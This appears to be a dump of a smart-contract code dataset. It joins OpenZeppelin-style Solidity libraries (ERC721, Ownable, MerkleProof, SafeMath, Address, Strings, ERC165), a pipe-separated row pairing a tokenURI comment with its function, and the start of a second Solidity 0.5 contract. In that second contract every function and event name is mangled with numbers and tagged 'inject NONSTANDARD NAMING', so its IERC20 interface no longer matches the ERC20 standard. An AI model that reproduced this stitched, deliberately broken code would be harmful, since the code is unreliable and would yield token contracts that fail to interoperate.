require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
Get the tokenURI onchain
|
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
return IAstraMetadata(MetadataAddress).tokenURI(tokenId, MetadataMapping[tokenId], MintTimestampMapping[tokenId] + LockingTime > block.timestamp, "");
}
| 10,306,659 |
pragma solidity ^0.5.17;
interface IERC20 {
function TOTALSUPPLY3() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF367(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER903(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE608(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function DECIMALS810() external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE172(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM529(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER904(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL612(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD483(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB518(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB518(a, b, "SafeMath: subtraction overflow");
}
function SUB518(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL745(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV989(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV989(a, b, "SafeMath: division by zero");
}
function DIV989(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function MOD257(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD257(a, b, "SafeMath: modulo by zero");
}
function MOD257(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT560(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function TOPAYABLE228(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING
return address(uint160(account));
}
function SENDVALUE839(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER392(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN815(token, abi.encodeWithSelector(token.TRANSFER903.selector, to, value));
}
function SAFETRANSFERFROM413(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN815(token, abi.encodeWithSelector(token.TRANSFERFROM529.selector, from, to, value));
}
function SAFEAPPROVE740(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
require((value == 0) || (token.ALLOWANCE608(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
CALLOPTIONALRETURN815(token, abi.encodeWithSelector(token.APPROVE172.selector, spender, value));
}
function CALLOPTIONALRETURN815(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
require(address(token).ISCONTRACT560(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface yVault {
function BALANCE390() external view returns (uint); //inject NONSTANDARD NAMING
function TOTALSUPPLY3() external view returns (uint256); //inject NONSTANDARD NAMING
